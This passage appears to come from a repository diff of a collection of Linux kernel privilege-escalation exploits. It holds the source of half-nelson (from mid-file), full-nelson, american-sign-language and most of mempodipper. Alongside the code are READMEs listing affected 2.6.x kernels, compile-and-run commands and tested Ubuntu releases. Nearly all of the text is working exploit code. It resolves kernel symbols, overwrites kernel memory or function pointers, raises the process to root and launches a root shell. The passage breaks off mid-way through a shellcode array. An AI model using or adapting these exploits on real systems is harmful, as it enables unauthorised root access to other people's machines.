exit(1);
}
kstack = kstack & ~0x1fff;
return kstack;
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sym[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
if (ret == 0) {
fscanf(f, "%s\n", sym);
continue;
}
if (!strcmp(name, sym)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int
get_adjacent_kstacks(void)
{
int i, ret, shm, pid, type;
/* create shared communication channel between parent and its children */
shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
if (shm < 0) {
printf("[-] failed creating shared memory, aborting!\n");
exit(1);
}
ret = ftruncate(shm, sizeof(struct region));
if (ret != 0) {
printf("[-] failed resizing shared memory, aborting!\n");
exit(1);
}
region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
memset(region, KSTACK_UNINIT, sizeof(struct region));
/* parent kstack self-discovery */
region->parent = get_kstack();
printf("[+] found parent kstack at 0x%lx\n", region->parent);
/* fork and discover children with adjacently-allocated kernel stacks */
for (i = 0; i < NPROC; ++i) {
pid = fork();
if (pid > 0) {
type = KSTACK_PARENT;
continue;
} else if (pid == 0) {
/* children do kstack self-discovery */
region->addrs[i] = get_kstack();
/* children sleep until parent has found adjacent children */
while (1) {
sleep(1);
if (region->addrs[i] == KSTACK_DIE) {
/* parent doesn't need us :-( */
exit(0);
} else if (region->addrs[i] == KSTACK_UPPER) {
/* we're the upper adjacent process */
type = KSTACK_UPPER;
break;
} else if (region->addrs[i] == KSTACK_LOWER) {
/* we're the lower adjacent process */
type = KSTACK_LOWER;
break;
}
}
break;
} else {
printf("[-] fork failed, aborting!\n");
exit(1);
}
}
return type;
}
void
do_parent(void)
{
int i, j, upper, lower;
/* parent sleeps until we've discovered all the child kstacks */
while (1) {
sleep(1);
for (i = 0; i < NPROC; ++i) {
if (region->addrs[i] == KSTACK_UNINIT) {
break;
}
}
if (i == NPROC) {
break;
}
}
/* figure out if we have any adjacent child kstacks */
for (i = 0; i < NPROC; ++i) {
for (j = 0; j < NPROC; ++j) {
if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
break;
}
}
if (j != NPROC) {
break;
}
}
if (i == NPROC && j == NPROC) {
printf("[-] failed to find adjacent kstacks, try again!\n");
exit(1);
}
upper = i;
lower = j;
printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);
/* signal to non-adjacent children to die */
for (i = 0; i < NPROC; ++i) {
if (i != upper && i != lower) {
region->addrs[i] = KSTACK_DIE;
}
}
/* signal adjacent children to continue on */
region->addrs[upper] = KSTACK_UPPER;
region->addrs[lower] = KSTACK_LOWER;
/* parent sleeps until child has clobbered the fptr */
while (1) {
sleep(1);
if (region->parent == KSTACK_CLOBBER) {
break;
}
}
printf("[+] escalating privileges...\n");
/* trigger our clobbered fptr */
syscall(__NR_restart_syscall);
/* our privileges should be escalated now */
if (getuid() != 0) {
printf("[-] privilege escalation failed, aborting!\n");
exit(1);
}
printf("[+] launching root shell!\n");
execl("/bin/sh", "/bin/sh", NULL);
}
void
do_child_upper(void)
{
int i, ret, eco_sock;
struct sockaddr_ec eco_addr;
struct msghdr eco_msg;
struct iovec iovs[IOVS];
struct ifreq ifr;
char *target;
/* calculate payload target, skip prologue */
target = (char *) payload_child;
target += 4;
/* give lower child a chance to enter its wait4 call */
sleep(1);
/* write some zeros */
for (i = 0; i < STACK_OFFSET; ++i) {
iovs[i].iov_base = (void *) 0x0;
iovs[i].iov_len = 0;
}
/* overwrite saved ia32_sysret address on stack */
iovs[STACK_OFFSET].iov_base = (void *) target;
iovs[STACK_OFFSET].iov_len = 0x0246;
/* force abort via EFAULT */
for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
iovs[i].iov_base = (void *) 0xffffffff00000000;
iovs[i].iov_len = 0;
}
/* create econet socket */
eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
if (eco_sock < 0) {
printf("[-] failed creating econet socket, aborting!\n");
exit(1);
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, "lo");
/* trick econet into associated with the loopback */
ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
if (ret != 0) {
printf("[-] failed setting interface address, aborting!\n");
exit(1);
}
memset(&eco_addr, 0, sizeof(eco_addr));
memset(&eco_msg, 0, sizeof(eco_msg));
eco_msg.msg_name = &eco_addr;
eco_msg.msg_namelen = sizeof(eco_addr);
eco_msg.msg_flags = 0;
eco_msg.msg_iov = &iovs[0];
eco_msg.msg_iovlen = IOVS;
printf("[+] upper child triggering stack overflow...\n");
/* trigger the kstack overflow into lower child's kstack */
ret = sendmsg(eco_sock, &eco_msg, 0);
if (ret != -1 || errno != EFAULT) {
printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
exit(1);
}
close(eco_sock);
}
void
do_child_lower(void)
{
int pid;
printf("[+] lower child spawning a helper...\n");
/* fork off a helper to wait4 on */
pid = fork();
if (pid == 0) {
printf("[+] helper going to sleep...\n");
sleep(5);
printf("[+] helper woke up\n");
exit(1);
}
printf("[+] lower child calling compat_sys_wait4 on helper...\n");
/* syscall(NR_WAIT4, pid, 0, 0, 0) */
asm volatile (
"push %%rax\n"
"push %%rbx\n"
"push %%rcx\n"
"push %%rdx\n"
"push %%rsi\n"
"movl %0, %%eax\n"
"movl %1, %%ebx\n"
"movl %2, %%ecx\n"
"movl %3, %%edx\n"
"movl %4, %%esi\n"
"int $0x80\n"
"pop %%rsi\n"
"pop %%rdx\n"
"pop %%rcx\n"
"pop %%rbx\n"
"pop %%rax\n"
:
: "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
: "memory", "rax", "rbx", "rcx", "rdx", "rsi"
);
printf("[+] lower child returned from compat_sys_wait4\n");
printf("[+] parent's restart_block has been clobbered\n");
/* signal parent that our fptr should now be clobbered */
region->parent = KSTACK_CLOBBER;
}
int
main(int argc, char **argv)
{
int type;
if (sizeof(unsigned long) != 8) {
printf("[-] x86_64 only, sorry!\n");
exit(1);
}
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] symbol table not available, aborting!\n");
exit(1);
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] symbol table not available, aborting!\n");
exit(1);
}
ia32_sysret = get_symbol("ia32_sysret");
if (!ia32_sysret) {
printf("[-] symbol table not available, aborting!\n");
exit(1);
}
printf("[+] spawning children to achieve adjacent kstacks...\n");
type = get_adjacent_kstacks();
if (type == KSTACK_PARENT) {
do_parent();
} else if (type == KSTACK_UPPER) {
do_child_upper();
} else if (type == KSTACK_LOWER) {
do_child_lower();
}
return 0;
}

View File

@ -0,0 +1,27 @@
# CVE-2010-4073
CVE-2010-4073
Vulnerability reference:
* [CVE-2010-4073](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4073)
* [exp-db](https://www.exploit-db.com/exploits/17787/)
## Kernels
```
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
```
## Usage
```
$ gcc half-nelson.c -o half-nelson -lrt
$ ./half-nelson
```
### This binary has been verified on:
- Ubuntu 10.04 - Linux ubuntu 2.6.32-21-server #32-Ubuntu x86_64
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64

Binary file not shown.

278
2010/CVE-2010-4258/15704.c Normal file
View File

@ -0,0 +1,278 @@
/*
* Linux Kernel <= 2.6.37 local privilege escalation
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc full-nelson.c -o full-nelson
* ./full-nelson
*
* This exploit leverages three vulnerabilities to get root, all of which were
* discovered by Nelson Elhage:
*
* CVE-2010-4258
* -------------
* This is the interesting one, and the reason I wrote this exploit. If a
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
* word will be written to a user-specified pointer when that thread exits.
* This write is done using put_user(), which ensures the provided destination
* resides in valid userspace by invoking access_ok(). However, Nelson
* discovered that when the kernel performs an address limit override via
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
* etc.), this override is not reverted before calling put_user() in the exit
* path, allowing a user to write a NULL word to an arbitrary kernel address.
* Note that this issue requires an additional vulnerability to trigger.
*
* CVE-2010-3849
* -------------
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
* fairly benign as a local denial-of-service. It's a perfect candidate to
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
* subsequently calls sendmsg under KERNEL_DS.
*
* CVE-2010-3850
* -------------
* I wouldn't be able to reach the NULL pointer dereference and trigger the
* OOPS if users weren't able to assign Econet addresses to arbitrary
* interfaces due to a missing capabilities check.
*
* In the interest of public safety, this exploit was specifically designed to
* be limited:
*
* * The particular symbols I resolve are not exported on Slackware or Debian
* * Red Hat does not support Econet by default
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
* Debian
*
* However, the important issue, CVE-2010-4258, affects everyone, and it would
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
* more sophisticated version of this that doesn't have the roadblocks I put in
* to prevent abuse by script kiddies.
*
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
*
* NOTE: the exploit process will deadlock and stay in a zombie state after you
* exit your root shell because the Econet thread OOPSes while holding the
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
*
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
*/
// EDB-Note: You may need to add '#define _GNU_SOURCE' to compile in later versions
#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
/* How many bytes should we clear in our
* function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
"");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* Why do I do this? Because on x86-64, the address of
* commit_creds and prepare_kernel_cred are loaded relative
* to rip, which means I can't just copy the above payload
* into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{
#ifdef __x86_64__
asm("mov $getroot, %rax; call *%rax;");
#else
asm("mov $getroot, %eax; call *%eax;");
#endif
}
/* Triggers a NULL pointer dereference in econet_sendmsg
* via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
int ret;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
if(ret < 0) {
printf("[*] Failed to set Econet address.\n");
return -1;
}
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
/* Shouldn't get here... */
exit(0);
}
int main(int argc, char * argv[])
{
unsigned long econet_ops, econet_ioctl, target, landing;
int fildes[4], pid;
void * newstack, * payload;
/* Create file descriptors now so there are two
references to them after cloning...otherwise
the child will never return because it
deadlocks when trying to unlock various
mutexes after OOPSing */
pipe(fildes);
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
fildes[3] = open("/dev/zero", O_RDONLY);
if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
printf("[*] Failed to open file descriptors.\n");
return -1;
}
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
if(!(newstack = malloc(65536))) {
printf("[*] Failed to allocate memory.\n");
return -1;
}
printf("[*] Calculating target...\n");
target = econet_ops + 10 * sizeof(void *) - OFFSET;
/* Clear the higher bits */
landing = econet_ioctl << SHIFT >> SHIFT;
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return -1;
}
memcpy((void *)landing, &trampoline, 1024);
clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
&fildes, NULL, NULL, target);
sleep(1);
printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Got root!\n");
execl("/bin/sh", "/bin/sh", NULL);
}

View File

@ -0,0 +1,30 @@
# CVE-2010-4258
CVE-2010-4258
Vulnerability reference:
* [CVE-2010-4258](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4258)
* [exp-db](https://www.exploit-db.com/exploits/15704/)
## Kernels
```
2.6.31, 2.6.32, 2.6.35, 2.6.37
```
## Usage
```
$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
```
### This binary has been verified on:
- Ubuntu 10.10 - 2.6.35-19-generic-pae #28-Ubuntu x86_32
- Ubuntu 9.10 - 2.6.31-14-generic-pae #48-Ubuntu x86_32
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64

Binary file not shown.

Binary file not shown.

253
2010/CVE-2010-4347/15774.c Normal file
View File

@ -0,0 +1,253 @@
/*
* american-sign-language.c
*
* Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
*
* This custom_method file allows to inject custom ACPI methods into the ACPI
* interpreter tables. This control file was introduced with world writeable
* permissions in Linux Kernel 2.6.33.
*
* Usage:
*
* $ gcc american-sign-language.c -o american-sign-language
* $ ./american-sign-language
* [+] resolving required symbols...
* [+] checking for world-writable custom_method...
* [+] checking for an ACPI LID device...
* [+] poisoning ACPI tables via custom_method...
* [+] triggering ACPI payload via LID device...
* [+] triggering exploit via futimesat...
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root) groups=0(root)
*
* Notes:
*
* This vuln allows us to write custom ACPI methods and load them into the
* kernel as an unprivileged user. We compile some fancy ASL down to AML
* that overrides the ACPI method used when the status of the LID device is
* queried (eg. 'open' or 'closed' lid on a laptop). When the method is
* triggered, it overlays an OperationRegion on the physical address where
* sys_futimesat is located and overwrites the memory via the Store to
* escalate privileges whenever sys_futimesat is called.
*
* The payload is 64-bit only and depends on the existence of a LID device
* (eg. laptop), but the exploit will still tell you if you're vulnerable
* regardless. If you don't know how to work around these limitations, you
* probably shouldn't be running this in the first place. :-P
*
* Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>
/*
* The ASL payload looks like:
*
* DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
* Method (\_SB.LID._LID, 0, NotSerialized) {
* OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
* Field(KMEM, AnyAcc, NoLock, Preserve) {
* HACK, 0x392
* }
* Store (Buffer () {
* 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
* 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
* 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
* 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
* 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
* 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
* 0xc3 }, HACK)
* Return (One)
* }
* }
*
* Feel free to `iasl -d` this is you don't trust me! ;-)
*/
#define PAYLOAD_AML \
"\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \
"\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \
"\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \
"\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \
"\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \
"\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \
"\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \
"\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01"
#define PAYLOAD_LEN 144
#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method"
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int
main(int argc, char **argv)
{
int ret;
FILE *fp;
char buf[64];
struct stat sb;
char payload[PAYLOAD_LEN] = PAYLOAD_AML;
unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;
printf("[+] resolving required symbols...\n");
sys_futimesat = get_symbol("sys_futimesat");
if (!sys_futimesat) {
printf("[-] sys_futimesat symbol not found, aborting!\n");
exit(1);
}
prepare_kernel_cred = get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
exit(1);
}
commit_creds = get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] commit_creds symbol not found, aborting!\n");
exit(1);
}
printf("[+] checking for world-writable custom_method...\n");
ret = stat(CUSTOM_METHOD, &sb);
if (ret < 0) {
printf("[-] custom_method not found, kernel is not vulnerable!\n");
exit(1);
}
if (!(sb.st_mode & S_IWOTH)) {
printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");
exit(1);
}
printf("[+] checking for an ACPI LID device...\n");
ret = stat(HEY_ITS_A_LID, &sb);
if (ret < 0) {
printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");
exit(1);
}
if (sizeof(sys_futimesat) != 8) {
printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");
exit(1);
}
sys_futimesat &= ~0xffffffff80000000;
memcpy(&payload[63], &sys_futimesat, 4);
memcpy(&payload[101], &commit_creds, 4);
memcpy(&payload[108], &prepare_kernel_cred, 4);
printf("[+] poisoning ACPI tables via custom_method...\n");
fp = fopen(CUSTOM_METHOD, "w");
fwrite(payload, 1, sizeof(payload), fp);
fclose(fp);
printf("[+] triggering ACPI payload via LID device...\n");
fp = fopen(HEY_ITS_A_LID, "r");
fread(&buf, 1, sizeof(buf), fp);
fclose(fp);
printf("[+] triggering exploit via futimesat...\n");
ret = futimesat(0, "/tmp", NULL);
if (ret != -1 || errno != EDOTDOT) {
printf("[-] unexpected futimesat errno, exploit failed!\n");
exit(1);
}
if (getuid() != 0) {
printf("[-] privileges not escalated, exploit failed!\n");
exit(1);
}
printf("[+] launching root shell!\n");
execl("/bin/sh", "/bin/sh", NULL);
}

View File

@ -0,0 +1,24 @@
# CVE-2010-4347
CVE-2010-4347
Vulnerability reference:
* [CVE-2010-4347](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4347)
## Kernels
```
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
```
## Usage
```
$ gcc american-sign-language.c -o american-sign-language
$ ./american-sign-language
```
## References
* [http://www.securityfocus.com/bid/45408/](http://www.securityfocus.com/bid/45408/http://www.securityfocus.com/bid/45408/)

227
2012/CVE-2012-0056/18411.c Normal file
View File

@ -0,0 +1,227 @@
/*
Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
Blog post about it is here: http://blog.zx2c4.com/749
EDB-Note: Updated version can be found here: https://www.exploit-db.com/exploits/35161/
# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
# Date: Jan 21, 2012
# Author: zx2c4
# Tested on: Gentoo, Ubuntu
# Platform: Linux
# Category: Local
# CVE-2012-0056
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I've put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/
#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>
char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
int n;
int sock;
char cms[CMSG_SPACE(sizeof(int))];
if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1;
buf[0] = 0;
iov.iov_base = buf;
iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = CMSG_LEN(sizeof(int));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
return -1;
close(sock);
return 0;
}
int recv_fd()
{
int listener;
int sock;
int n;
int fd;
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
char cms[CMSG_SPACE(sizeof(int))];
if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
unlink(socket_path);
if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1;
if (listen(listener, 1) < 0)
return -1;
if ((sock = accept(listener, NULL, NULL)) < 0)
return -1;
iov.iov_base = buf;
iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = sizeof cms;
if ((n = recvmsg(sock, &msg, 0)) < 0)
return -1;
if (n == 0)
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
close(sock);
close(listener);
return fd;
}
int main(int argc, char **argv)
{
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
char parent_mem[256];
sprintf(parent_mem, "/proc/%s/mem", argv[2]);
printf("[+] Opening parent mem %s in child.\n", parent_mem);
int fd = open(parent_mem, O_RDWR);
if (fd < 0) {
perror("[-] open");
return 1;
}
printf("[+] Sending fd %d to parent.\n", fd);
send_fd(fd);
return 0;
}
printf("===============================\n");
printf("= Mempodipper =\n");
printf("= by zx2c4 =\n");
printf("= Jan 21, 2012 =\n");
printf("===============================\n\n");
int parent_pid = getpid();
if (fork()) {
printf("[+] Waiting for transferred fd in parent.\n");
int fd = recv_fd();
printf("[+] Received fd at %d.\n", fd);
if (fd < 0) {
perror("[-] recv_fd");
return -1;
}
printf("[+] Assigning fd %d to stderr.\n", fd);
dup2(2, 6);
dup2(fd, 2);
unsigned long address;
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
address = strtoul(argv[2], NULL, 16);
else {
printf("[+] Reading su for exit@plt.\n");
// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
char result[32];
result[0] = 0;
fgets(result, 32, command);
pclose(command);
address = strtoul(result, NULL, 16);
if (address == ULONG_MAX || !address) {
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
return 1;
}
printf("[+] Resolved exit@plt to 0x%lx.\n", address);
}
printf("[+] Calculating su padding.\n");
FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
char result[256];
result[0] = 0;
fgets(result, 256, command);
pclose(command);
unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
unsigned long offset = address - su_padding;
printf("[+] Seeking to offset 0x%lx.\n", offset);
lseek64(fd, offset, SEEK_SET);
#if defined(__i386__)
// See shellcode-32.s in this package for the source.
char shellcode[] =
